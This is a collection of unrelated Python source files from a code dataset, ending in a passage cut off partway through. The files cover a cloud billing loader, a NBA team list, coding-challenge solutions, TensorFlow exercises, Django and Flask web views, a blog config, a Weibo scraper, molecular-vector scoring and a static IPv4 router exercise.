\"product_service\", \"product_resource\", \"product_compartmentId\", \"product_compartmentName\", \"product_region\", \"product_availabilityDomain\", \"product_resourceId\", \"usage_consumedQuantity\", \"usage_billedQuantity\", \"usage_consumedQuantityUnits\", \"usage_consumedQuantityMeasure\", \"lineItem_isCorrection\"]\n else:\n csv_brn = True\n pd_cols = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]\n pd_names = [\"lineItem_referenceNo\", \"lineItem_tenantId\", \"lineItem_intervalUsageStart\", \"lineItem_intervalUsageEnd\", \"product_service\", \"product_resource\", \"product_compartmentId\", \"product_compartmentName\", \"product_region\", \"product_availabilityDomain\", \"product_resourceId\", \"usage_consumedQuantity\", \"usage_billedQuantity\", \"usage_consumedQuantityUnits\", \"usage_consumedQuantityMeasure\", \"lineItem_isCorrection\", \"lineItem_backreferenceNo\"]\n\n df = pd.read_csv(report_path + '/' + csv_filename,\n index_col=False,\n usecols=pd_cols,\n parse_dates=[0],\n header=0,\n names=pd_names)\n\n # insert additional column(s) into df & write out csv file..\n if csv_brn == False:\n df.insert(16, \"lineItem_backreferenceNo\", '')\n logging.info('inserting col lineItem_backreferenceNo into csv..')\n df.insert(0, \"usage_report\", os.environ['usage_report_bucket'] + \"-\" + filename)\n logging.info('inserting col usage_report into csv..')\n export_csv = df.to_csv(report_path + '/' + 'trim_' + csv_filename, index = None, header=True)\n\n # insert usage data into adw..\n with open(report_path + '/' + 'trim_' + csv_filename, \"r\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n next(csv_reader)\n pylist = list(csv_reader)\n cur.executemany(\"INSERT INTO oci_billing (usage_report, lineItem_referenceNo, lineItem_tenantId, lineItem_intervalUsageStart, lineItem_intervalUsageEnd, product_service, product_resource, product_compartmentId, product_compartmentName, product_region, product_availabilityDomain, product_resourceId, usage_consumedQuantity, usage_billedQuantity, usage_consumedQuantityUnits, usage_consumedQuantityMeasure, lineItem_isCorrection, lineItem_backreferenceNo) VALUES (:1, :2, :3, :4, :5, :6, :7, :8, :9, :10, :11, :12, :13, :14, :15, :16, :17, :18)\", pylist)\n logging.info('finished uploading ' + gz_filename)\n cur.close()\n con.commit()\n con.close()\n\n # curate return data..\n file_list.append(csv_filename)\n # clean-up working dir..\n os.system('rm -rf %s/*' % report_path)\n\n # data for function response..\n return file_list\n","sub_path":"adw-billing/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":7631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"20265548","text":"teams = [\n {\n 'abbreviation': 'ATL',\n 'name': 'Atlanta Hawks'\n },\n {\n 'abbreviation': 'BOS',\n 'name': 'Boston Celtics'\n },\n {\n 'abbreviation': 'BRK',\n 'name': 'Brooklyn Nets'\n },\n {\n 'abbreviation': 'CHI',\n 'name': 'Chicago Bulls'\n },\n {\n 'abbreviation': 'CHO',\n 'name': 'Charlotte Hornets'\n },\n {\n 'abbreviation': 'CLE',\n 'name': 'Cleveland Cavaliers'\n },\n {\n 'abbreviation': 'DAL',\n 'name': 'Dallas Mavericks'\n },\n {\n 'abbreviation': 'DEN',\n 'name': 'Denver Nuggets'\n },\n {\n 'abbreviation': 'DET',\n 'name': 'Detroit Pistons'\n },\n {\n 'abbreviation': 'GSW',\n 'name': 'Golden State Warriors'\n },\n {\n 'abbreviation': 'HOU',\n 'name': 'Houston Rockets'\n },\n {\n 'abbreviation': 'IND',\n 'name': 'Indiana Pacers'\n },\n {\n 'abbreviation': 'LAC',\n 'name': 'Los Angeles Clippers'\n },\n {\n 'abbreviation': 'LAL',\n 'name': 'Los Angeles Lakers'\n },\n {\n 'abbreviation': 'MEM',\n 'name': 'Memphis Grizzlies'\n },\n {\n 'abbreviation': 'MIA',\n 'name': 'Miami Heat'\n },\n {\n 'abbreviation': 'MIL',\n 'name': 'Milwaukee Bucks'\n },\n {\n 'abbreviation': 'MIN',\n 'name': 'Minnesota Timberwolves'\n },\n {\n 'abbreviation': 'NOP',\n 'name': 'New Orleans Pelicans'\n },\n {\n 'abbreviation': 'NYK',\n 'name': 'New York Knicks'\n },\n {\n 'abbreviation': 'OKC',\n 'name': 'Oklahoma City Thunder'\n },\n {\n 'abbreviation': 'ORL',\n 'name': 'Orlando Magic'\n },\n {\n 'abbreviation': 'PHI',\n 'name': 'Philadelphia 76ers'\n },\n {\n 'abbreviation': 'PHO',\n 'name': 'Phoenix Suns'\n },\n {\n 'abbreviation': 'POR',\n 'name': 'Portland Trail Blazers'\n },\n {\n 'abbreviation': 'SAC',\n 'name': 'Sacramento Kings'\n },\n {\n 'abbreviation': 'SAS',\n 'name': 'San Antonio Spurs'\n },\n {\n 'abbreviation': 'TOR',\n 'name': 'Toronto Raptors'\n },\n {\n 'abbreviation': 'UTA',\n 'name': 'Utah Jazz'\n },\n {\n 'abbreviation': 'WAS',\n 'name': 'Washington Wizards'\n }\n]","sub_path":"data/teams/nba.py","file_name":"nba.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"616093384","text":"from multiprocessing import Process\nimport time\n\ni = 3\nclass MyProcess(Process):\n def run(self):\n k = 0\n while k < i:\n print('----', k)\n k += 1\n time.sleep(1)\n\ndef startP():\n p = MyProcess()\n p.start()\n\ndef main_Test():\n j = 0\n while j < i:\n print('----main----')\n time.sleep(1)\n\nif __name__ == '__main__':\n startP()\n main_Test()","sub_path":"STUDY/PYTHON/Python基础/test/class_Process.py","file_name":"class_Process.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"308566105","text":"#!/bin/python3\n\nimport sys\n\ndef get_hourglass_values(arr, x, y):\n hourglass = []\n \n for i in range(x, x + 3):\n for j in range(y, y + 3):\n hourglass.append(arr[i][j])\n \n hourglass.pop(5)\n hourglass.pop(3)\n \n return hourglass\n\narr = []\nfor arr_i in range(6):\n arr_t = [int(arr_temp) for arr_temp in input().strip().split(' ')]\n arr.append(arr_t)\n \nbiggest_sum = None\n\nfor x in range(0, 4):\n for y in range(0, 4):\n hourglass = get_hourglass_values(arr, x, y)\n \n hourglass_sum = 0\n for value in hourglass:\n hourglass_sum += int(value)\n \n if biggest_sum is None or hourglass_sum > biggest_sum:\n biggest_sum = hourglass_sum\n\nprint(str(biggest_sum))\n","sub_path":"Tutorials/30 Days of Code/day-11.py","file_name":"day-11.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"224711500","text":"import tensorflow as tf\r\n\r\ndef hello():\r\n node1 = tf.constant(3.0, tf.float32)\r\n node2 = tf.constant(4.0) #alse tf.float32 implicitly\r\n node3 = tf.add(node1,node2)\r\n\r\n print(\"node1 :\",node1)\r\n print(\"node2 :\",node2)\r\n print(\"node3 :\", node3)\r\n\r\n sess = tf.Session()\r\n print(\"sess.run(node1,node2) : \",sess.run([node1,node2]))\r\n print(\"sess,run(node3) : \",sess.run(node3))\r\n\r\n\r\ndef placeholder():\r\n\r\n a = tf.placeholder(tf.float32)\r\n b = tf.placeholder(tf.float32)\r\n\r\n adder_node = a + b #위에서 정의한 두 텐서를 더하는 노드를 만듬\r\n sess = tf.Session()\r\n print(sess.run(adder_node, feed_dict = {a: 3, b:4.5}))\r\n print(sess.run(adder_node, feed_dict = {a: [1,3],b:[4,5]}))\r\n\r\n\r\ndef train1():\r\n x_train = [1,2,3]\r\n y_train = [1,2,3]\r\n\r\n W = tf.Variable(tf.random_normal([1]),name = \"weight\")\r\n b = tf.Variable(tf.random_normal([1]),name = \"bias\")\r\n#our hypothesis\r\n hypothesis = x_train * W + b\r\n#cost\r\n cost = tf.reduce_mean(tf.square(hypothesis - y_train)) #reduce_mean = 오차의 제곱의 평균을 내줌\r\n#Minimize\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate = 0.01)\r\n train = optimizer.minimize(cost) \r\n\r\n sess = tf.Session()\r\n#Initialize global variables in the graph\r\n sess.run(tf.global_variables_initializer())\r\n#Fit the line\r\n for step in range(2001):\r\n sess.run(train)\r\n if step % 20 == 0:\r\n print(step,sess.run(cost),sess.run(W),sess.run(b))\r\n\r\n\r\n#placeholder를 이용하여 트레이닝 해보기\r\ndef train2():\r\n W = tf.Variable(tf.random_normal([1]),name= \"Weight\")\r\n b = tf.Variable(tf.random_normal([1]),name= \"bias\")\r\n X = tf.placeholder(tf.float32,shape = [None])\r\n Y = tf.placeholder(tf.float32,shape = [None])\r\n\r\n hypothesis = X * W + b\r\n\r\n cost = tf.reduce_mean(tf.square(hypothesis - Y))\r\n\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate = 0.01)\r\n train = optimizer.minimize(cost) \r\n sess = tf.Session()\r\n sess.run(tf.global_variables_initializer())\r\n \r\n for step in range(2001):\r\n cost_val,w_val,b_val, _ = sess.run([cost,W,b,train],\r\n feed_dict = {X:[1,2,3,4,5],Y:[2.1,3.2,4.2,5.2,6.2]})\r\n #if step % 20 == 0:\r\n # print(step,cost_val,w_val,b_val)\r\n print(sess.run(hypothesis,feed_dict={X:[5]}))\r\n print(sess.run(hypothesis,feed_dict={X:[1.2,3,45]}))\r\n","sub_path":"1-1.linear_Regression.py","file_name":"1-1.linear_Regression.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"464459942","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom django.forms.widgets import SplitDateTimeWidget\nfrom ckeditor.widgets import CKEditorWidget\nfrom core.models import SiteMapModuleOption, Menu\nfrom core.manager.base import BaseManager\nfrom core.debug.debug import *\nfrom taggit.forms import *\nfrom django.utils.safestring import mark_safe\n\nclass SiteMapOptionForm(forms.ModelForm):\n id = forms.ModelChoiceField(queryset=SiteMapModuleOption.objects.all(), widget=forms.HiddenInput())\n\n class Meta:\n model = SiteMapModuleOption\n\n def choices(self, system, edit_menu=False):\n if edit_menu is False:\n if system.manager.options_item.menu is not None:\n choices = [(system.manager.options_item.menu.id, system.manager.options_item.menu)]\n else:\n manager = BaseManager()\n manager.model = Menu()\n manager.order = 'parent'\n manager.fetchOptions = { 'site': system.portal.activeSite.id, 'active': system.requester.rData['selectedactivity'], 'activesite': system.requester.rData['activesite'] }\n manager.fetch_items(for_select=True)\n items = manager.get_items_as_tree(system.requester.request, for_select=True)\n\n choices = []\n if items is not None:\n for il in items:\n if il is not None:\n if il.name is not None:\n prefix = ''\n for i in range(0,il.depth):\n prefix = prefix + \"   \"\n il.name = (prefix + il.name)\n choices.append((il.id,mark_safe(il.name)))\n else:\n choices = [(system.manager.item.id, system.manager.item)]\n self.fields['menu'].choices = choices\n","sub_path":"core/form/module/sitemap_module.py","file_name":"sitemap_module.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"384790014","text":"from flask import Flask, render_template, redirect, flash, session\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom models import User, db, connect_db, Feedback\nfrom forms import UserRegisterForm, UserLoginForm, NewFeedbackForm\nfrom sqlalchemy.exc import IntegrityError\n\napp = Flask(__name__)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgres:///feedback_db\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config[\"SQLALCHEMY_ECHO\"] = True\napp.config[\"SECRET_KEY\"] = \"dsafaw43f436y3\"\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\n\nconnect_db(app)\n\ntoolbar = DebugToolbarExtension\n\n\n@app.route('/')\ndef index():\n return redirect('/register')\n\n@app.route('/secret')\ndef secret():\n if 'user_id' not in session:\n flash('You have to login/register first', 'warning')\n return redirect('/login')\n return render_template('secret.html')\n\n@app.route('/register', methods=['POST', 'GET'])\ndef register_user():\n form = UserRegisterForm()\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n email = form.email.data\n first_name = form.first_name.data\n last_name = form.last_name.data\n\n new_user = User.register(username=username, password=password, email=email, first_name=first_name, last_name=last_name)\n db.session.add(new_user)\n try:\n db.session.commit()\n except IntegrityError:\n form.errors.append(\"User Alredy exsists\")\n\n session['user_id'] = new_user.id\n flash('Wolcome! You have successfully registered', 'success')\n return redirect(f'/users/{new_user.username}')\n return render_template('register.html', form=form)\n \n@app.route('/login', methods=['POST', \"GET\"])\ndef login_user():\n form = UserLoginForm()\n\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n\n user = User.authenticate(username, password)\n if user:\n flash('Wlcome back', 'success')\n session['user_id'] = user.id\n return redirect(f'/users/{user.username}')\n else:\n form.username.errors = ['Invalid Username or Password']\n return render_template('login.html', form=form)\n\n@app.route('/users/')\ndef profile(username):\n if 'user_id' not in session:\n flash('You have to login/register first', 'warning')\n return redirect('/login')\n user = User.query.filter_by(username=username).first()\n return render_template('profile.html', user=user)\n\n@app.route('/logout')\ndef login():\n session.pop('user_id')\n flash('Goodby', 'success')\n return redirect('/login')\n\n@app.route('/users//delete', methods=['POST'])\ndef delete(id):\n\n if 'user_id' not in session: \n flash('You have to login/register first', 'warning')\n return redirect('/login')\n user = User.query.get_or_404(id)\n if user.id == session['user_id']:\n session.pop('user_id')\n feeds = Feedback.query.filter_by(username=user.username).delete()\n db.session.delete(user)\n db.session.commit()\n flash('Account deleated')\n return redirect('/')\n else:\n flash('You dont have Permision')\n return redirect('/register')\n\n@app.route('/users//add', methods=['GET', 'POST'])\ndef add_new_feedback(username):\n if 'user_id' not in session:\n flash('You have to login/register first', 'warning')\n return redirect('/login')\n form = NewFeedbackForm()\n user = User.query.filter_by(username=username).first()\n \n if form.validate_on_submit():\n title = form.title.data\n feedback = form.feedback.data\n\n new_feedback = Feedback(title=title, content=feedback, username=username)\n db.session.add(new_feedback)\n db.session.commit()\n return redirect(f'/users/{user.username}')\n return render_template('create_feedback.html', form =form)\n\n\n@app.route('/feedback//update', methods=['GET', 'POST'])\ndef update_feedback(id):\n if 'user_id' not in session:\n flash('You have to login/register first', 'warning')\n return redirect('/login')\n form = NewFeedbackForm()\n feedback = Feedback.query.get_or_404(id)\n if form.validate_on_submit():\n title = form.title.data\n content = form.feedback.data\n\n feedback.title = title\n feedback.content = content\n db.session.commit()\n return redirect(f'/users/{feedback.username}')\n return render_template('update_feedback.html', form = form)\n\n@app.route('/feedback//delete', methods=['POST'])\ndef delete_feedback(id):\n if 'user_id' not in session:\n flash('You have to login/register first', 'warning')\n return redirect('/login')\n feedback = Feedback.query.get_or_404(id)\n username = feedback.username\n\n if feedback.user.id == session.get('user_id'):\n db.session.delete(feedback)\n db.session.commit()\n return redirect(f'/users/{username}')","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"499315313","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'Dave Astels'\nSITENAME = 'The Curmudgeoclast'\nSITESUBTITLE ='Thoughts, projects, and ramblings of Dave Astels'\n#SITEURL = 'daveastels.com'\n\nPATH = 'content'\n\nTIMEZONE = 'America/Toronto'\n\nDEFAULT_LANG = 'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Blogroll\nLINKS = (('Adafruit', 'http://adafruit.com'),\n ('HackSpace Magazine', 'https://hackspace.raspberrypi.org/'),\n ('Python.org', 'http://python.org/'),\n ('Pelican', 'http://getpelican.com/'),)\n\n\n# Social widget\nSOCIAL = (('Twitter', 'http://twitter.com/dastels', 'fab fa-twitter-square fa-fw fa-lg'),\n ('Facebook', 'http://www.facebook.com/dastels', 'fab fa-facebook-square fa-fw fa-lg'),\n ('Linkedin', 'https://www.linkedin.com/in/dastels/', 'fab fa-linkedin fa-fw fa-lg'),\n ('Instagram', 'https://www.instagram.com/dastels', 'fab fa-instagram fa-fw fa-lg'),\n ('dastels on adafruit discord', 'http://adafru.it/discord', 'fab fa-discord fa-fw fa-lg'),\n ('BitBucket', 'http://bitbucket.org/dastels', 'fab fa-bitbucket fa-fw fa-lg'),\n ('GitHub', 'http://github.com/dastels', 'fab fa-github-square fa-fw fa-lg'),\n)\n\nDEFAULT_PAGINATION = 10\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n\nTHEME = \"/home/dastels/Projects/Personal/pelican-themes/voidy-bootstrap\"\n\nPLUGIN_PATHS = ['/home/dastels/Projects/Personal/pelican-plugins']\nPLUGINS = ['tag_cloud']\n\nTAG_CLOUD_STEPS = 4\n\nDEFAULT_METADATA = {\n 'status': 'draft',\n}\n\n# voidy theme settings\n\nSIDEBAR = \"sidebar.html\"\nCUSTOM_SIDEBAR_MIDDLES = (\"sb_tagcloud.html\", \"sb_links.html\",)\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"7481825","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom .models import Trending\nfrom django.core.files.storage import FileSystemStorage\n# Create your views here.\nimport datetime\nfrom subcat.models import SubCat\nfrom cat.models import Cat\nfrom myapp.models import article\n\n\ndef trending_add(request):\n\n # Login Check starts HERE\n if not request.user.is_authenticated:\n return redirect('mylogin')\n #Login CHeck Ends HERE\n\n if request.method == 'POST':\n\n trend = request.POST.get('trending')\n if trend == \"\":\n error = \"All fields are required\"\n return render(request,'back/error.html', {'error':error})\n b = Trending(headline=trend)\n b.save()\n\n trending = Trending.objects.all()\n\n return render(request, 'back/trending.html',{'trending':trending})\n\ndef trending_del(request, id):\n # Login Check starts HERE\n if not request.user.is_authenticated:\n return redirect('mylogin')\n #Login CHeck Ends HERE\n\n b = Trending.objects.filter(pk=id)\n b.delete()\n\n return redirect('trending_add')\n\n\n\n\ndef trending_edit(request, id):\n # Login Check starts HERE\n if not request.user.is_authenticated:\n return redirect('mylogin')\n #Login CHeck Ends HERE\n\n myheadline = Trending.objects.get(pk=id).headline\n\n if request.method == 'POST':\n headline = request.POST.get('headline')\n if headline == \"\":\n error = \"All fields are required\"\n return render(request,'back/error.html', {'error':error})\n b = Trending.objects.get(pk=id)\n b.headline = headline\n b.save()\n return redirect('trending_add')\n\n\n\n return render(request, 'back/trending_edit.html',{'myheadline':myheadline, 'id':id})\n","sub_path":"Newsapp/trending/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"289580193","text":"\nclass Solution:\n #@param A: An list of list integer\n #@return: The index of position is a list of integer, for example [2,2]\n def findPeakII(self, A):\n if len(A) == 0 or len(A[0]) == 0:\n return [-1, -1]\n\n left, up = 0, 0\n right, down = len(A[0]) - 1, len(A) - 1\n while left + 1 < right or up + 1 < down:\n if right - left > down - up:\n c = (left + right) / 2\n r = self.findColumnPeak(A, c, up, down)\n if self.isPeak(A, r, c):\n return [r, c]\n elif A[r][c] < A[r][c - 1]:\n right = c\n else:\n left = c\n else:\n r = (up + down) / 2\n c = self.findRowPeak(A, r, left, right)\n if self.isPeak(A, r, c):\n return [r, c]\n elif A[r][c] < A[r - 1][c]:\n down = r\n else:\n up = r\n\n for r in [left, right]:\n for c in [up, down]:\n if self.isPeak(A, r, c):\n return [r, c]\n return [-1, -1]\n\n def isPeak(self, A, r, c):\n return A[r][c] > max(A[r][c-1], A[r][c+1], A[r-1][c], A[r+1][c])\n\n def findColumnPeak(self, A, c, up, down):\n value = max(A[r][c] for r in range(up, down + 1))\n for r in range(up, down + 1):\n if A[r][c] == value:\n return r\n\n def findRowPeak(self, A, r, left, right):\n value = max(A[r][c] for c in range(left, right + 1))\n for c in range(left, right + 1):\n if A[r][c] == value:\n return c","sub_path":"J9Ch/src/J_2_Binary_Search/python/_390Find_Peak_Element_II.py","file_name":"_390Find_Peak_Element_II.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"261541496","text":"import time, random\nwhile True:\n player_victory=0\n enemy_victory=0\n for i in range(1,4):\n time.sleep(2)\n print(\"现在是第\"+str(i)+\"局\")\n player_life=random.randint(100,150)\n player_attack=random.randint(30,50)\n enemy_life=random.randint(100,150)\n enemy_attack=random.randint(30,50)\n print(\"[玩家] \\n \"+\"血量:\"+str(player_life)+\"\\n 攻击:\"+str(player_attack))\n time.sleep(1)\n print(\"[敌人] \\n \"+\"血量:\"+str(enemy_life)+\"\\n 攻击:\"+str(enemy_attack))\n time.sleep(1)\n while player_life>0 and enemy_life>0:\n player_life=player_life-enemy_attack\n enemy_life=enemy_life-player_attack\n print(\"你发起了攻击。敌人剩余血量\"+str(enemy_life))\n print(\"敌人发起了攻击。玩家剩余血量\"+str(player_life))\n time.sleep(1.5)\n if player_life>0 and enemy_life<=0:\n player_victory=player_victory+1\n print(\"敌人死翘翘了,你赢啦\")\n elif player_life<=0 and enemy_life>0:\n enemy_victory=enemy_victory+1\n print(\"敌人把你干掉了,你死啦\")\n else:\n print(\"你们同归于尽啦\")\n if player_victory>enemy_victory:\n print(\"最终结果:你赢啦\")\n elif enemy_victory>player_victory:\n print(\"最终结果:你数啦\") \n else:\n print(\"最终结果:平局\") \n a1=input(\"要继续���戏吗?请输入n退出,输入其他就继续\")\n if a1==\"n\":\n break\n","sub_path":"untitled3.py","file_name":"untitled3.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"278895","text":"import sys\nif not (sys.path[0] + '/../') in sys.path:\n sys.path.append(sys.path[0] + '/../')\n\nimport requests\nimport json\nimport config.wbconfig as wbconfig\n\n\ndef show_token_info():\n r = requests.post(\n wbconfig.tokeninfo_url,\n {'access_token': wbconfig.access_token}\n )\n r.encoding = 'utf-8'\n a = int(json.loads(r.text)['expire_in']) / 3600 / 24\n print('access_token: %s' % wbconfig.access_token)\n print('access_token 剩余有效时间为:%s 天\\n' % int(a))\n\n\ndef show_msg_detail(id):\n pass\n\n\ndef scrapy_msgs(page=1, count=20):\n u = wbconfig.allmsg_url\n r = requests.get(\n u,\n {\n 'access_token': wbconfig.access_token,\n 'page': int(page),\n 'count': int(count),\n 'feature': 1,\n 'trim_user': 0\n }\n )\n r.encoding = 'utf8'\n res = json.loads(r.text)\n return (res['total_number'], res['statuses'])\n\n\ndef scrapy_pmsgs(page=1, count=50):\n u = wbconfig.publicurl\n r = requests.get(\n u,\n {\n 'access_token': wbconfig.access_token,\n 'page': int(page),\n 'count': int(count)\n }\n )\n r.encoding = 'utf8'\n res = json.loads(r.text)\n return (res['total_number'], res['statuses'])\n\n\ndef scrapy_users():\n pass\n\n\ndef scrapy_msgs_by_user(userid):\n pass\n\n\ndef scrapy_msg_by_id(msgid=4103355049666676):\n u = wbconfig.byidurl\n r = requests.get(\n u,\n {\n 'access_token': wbconfig.access_token,\n 'id': int(msgid)\n }\n )\n r.encoding = 'utf8'\n msg = json.loads(r.text)\n return msg\n","sub_path":"src/spider/logic/wb.py","file_name":"wb.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"69123519","text":"import os\nimport sys\nfrom .MultiProcess import MultiProcess\nfrom .Utils import logit, timeit, checkit\nfrom .ImportTools import *\n\nclass M2VScoring(MultiProcess): \n def __init__(self, method=\"one\", cores=10, data=None, save=False, target=None, save_path=\"\", prefix=\"tmp\"):\n MultiProcess.__init__(self, cores=cores, save=save, save_path=save_path, postfix='m2vscore', prefix=prefix)\n self.method = method\n self.data = data\n self.target = target\n self.block = 1\n \n def matrix_result(self, data):\n return data['mol2vec'].apply(lambda x:x.vec)\n \n @checkit()\n def cosine_result(self, X, Y):\n return pairwise_distances(X, Y, metric=\"cosine\")\n \n def get_result(self):\n start =time.process_time()\n cols_name=self.target[\"ID\"].tolist()\n rows_name=self.data[\"ID\"].tolist()\n# apply_method = self.method_factory(self.method,\"apply\")\n \n# X = np.vstack(apply_method(self.method_factory('matrix', 'result'), self.data))\n# Y = np.vstack(apply_method(self.method_factory('matrix', 'result'), self.target))\n\n X = np.vstack(self.method_factory('matrix', 'result')(self.data))\n Y = np.vstack(self.method_factory('matrix', 'result')(self.target))\n caculater = self.method_factory('cosine', 'result')\n cos_result = caculater(X, Y)\n\n df_result = pd.DataFrame(cos_result, columns=[f+\"_COS\" for f in cols_name])\n df_result[\"ID\"] = rows_name\n self.save_result(df_result)\n \n end3 = time.process_time()\n print(f'{self.method} Running time: {round(end3 - start, 5)} Seconds')\n return df_result","sub_path":"models/M2VScoring.py","file_name":"M2VScoring.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"366420339","text":"from solver import mySolver\n\nconfig = {\n 'batch_size': [128, 48],\n 'epoch': 100,\n 'lr': 1e-4,\n 'weight_decay': 5e-4,\n 'momentum': 0.9,\n\n 'lr_f': 10,\n 'lr_c': 5,\n 'lr_d': 2,\n\n 'FC/D': 10,\n\n 'coral': 0,\n 'mmd': 0,\n 'domain': 1.0,\n 'class': 0.0,\n 'ori': 0.3,\n\n 'spatial': True,\n 'concat': False,\n 'spatial_dis': False,\n\n 'random': True,\n\n 'source': 'sku',\n 'target': 'shelf',\n\n 'domainloss': 2,\n 'fadomainloss': 1\n\n}\n\nsolver = mySolver(config)\nsolver.train()\n","sub_path":"model_code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"450992894","text":"#!/usr/bin/env python3\n\n'''\nBasic IPv4 router (static routing) in Python.\n'''\n\nimport sys\nimport os\nimport time\nfrom switchyard.lib.userlib import *\nfrom collections import deque\n\n# Class to hold the information of arp requests\nclass ARP_Request:\n\n def __init__(self, targetprotoaddr, senderhwaddr, senderprotoaddr, port_name, pkt):\n self.num_tries = 0\n self.try_time = time.time()\n self.ipaddr = targetprotoaddr\n self.senderprotoaddr = senderprotoaddr\n self.senderhwaddr = senderhwaddr\n self.port_name = port_name\n self.pkt_queue = deque()\n self.pkt_queue.append(pkt) \n\nclass Router(object):\n\n def create_forwarding_table(self):\n table = []\n\n # Get table values from net.interfaces()\n for intf in self.net.interfaces():\n # Find network prefix append info to table\n prefix = IPv4Address(int(intf.ipaddr) & int(intf.netmask))\n table.append([str(prefix), str(intf.netmask), None, intf.name])\n\n # Get table values from file\n try:\n f = open(\"forwarding_table.txt\")\n for line in f:\n entry = line.split(\" \")\n entry[3] = entry[3].strip('\\n') \n table.append(entry)\n f.close()\n except FileNotFoundError:\n log_debug(\"File not found\")\n\n return table\n\n\n def __init__(self, net):\n self.net = net\n # other initialization stuff here\n \n # Queue to keep track of arp requests sent out\n self.arp_queue = deque()\n\n # Dictionary to store IP and Ether MAC address pairs\n self.arp_table = {}\n\n # Forwarding Table\n self.forwarding_table = self.create_forwarding_table() \n\n # Dictionary of router interface names mapped to their IP addresses\n self.router_interfaces = {}\n for intf in net.interfaces():\n self.router_interfaces[intf.name] = intf.ipaddr\n \n # Function iterates through queue of outstanding ARP requests and resends if necessary\n # Will drop the packet if it's sent 5 times\n def handle_arp_requests(self):\n new_queue = deque()\n for request in self.arp_queue:\n if time.time() - request.try_time >= 1:\n if request.num_tries < 5:\n new_req = create_ip_arp_request(request.senderhwaddr, request.senderprotoaddr, request.ipaddr)\n self.net.send_packet(self.net.interface_by_name(request.port_name), new_req)\n request.num_tries += 1\n new_queue.append(request)\n\n # If we've already tried 5 times without an ARP response, the host is unreachable, send error to source\n else:\n self.create_icmp_error_pkt(request.packet_queue.popleft(), request.port_name, ICMPType.DestinationUnreachable, ICMPTypeCodeMap[ICMPType.DestinationUnreachable].HostUnreachable)\n else:\n new_queue.append(request)\n \n # Update our queue to have only requests we've sent less than 5 times\n self.arp_queue = new_queue\n \n\n # iterate through forwarding table to find the entry matching an IP packet\n def forwarding_table_lookup(self, dest): \n maxprefix = 0\n matched_entry = None \n for entry in self.forwarding_table:\n prefixnet = IPv4Network(entry[0] + '/' + entry[1])\n matches = dest in prefixnet\n \n # If it matches, it checks if it has a longer prefix than the previous match (if applicable)\n if matches:\n netaddr = IPv4Network(entry[0] + '/' + entry[1])\n if netaddr.prefixlen >= maxprefix:\n maxprefix = netaddr.prefixlen\n matched_entry = entry\n return matched_entry\n\n # Creates a custom object to store an outstanding ARP request and necessary info to forward packets\n def create_arp_request(self, matched_entry, senderprotoaddr, targetprotoaddr, pkt):\n interface = self.net.interface_by_name(matched_entry[3])\n\n request_pkt = create_ip_arp_request(interface.ethaddr, senderprotoaddr, targetprotoaddr) \n new_request = ARP_Request(targetprotoaddr, interface.ethaddr, senderprotoaddr, interface.name, pkt) \n self.arp_queue.append(new_request)\n \n #TODO: this returns a NoneType has no ttl attribute error for ICMP time exceeded packet...\n self.net.send_packet(interface, request_pkt)\n new_request.num_tries += 1\n\n # Function to create and send an ICMP error packet - arguments include type and code for which error\n def create_icmp_error_pkt(self, pkt, input_port, icmptype, code):\n if pkt.has_header(Ethernet):\n i = pkt.get_header_index(Ethernet)\n del pkt[i]\n icmp_header = ICMP()\n 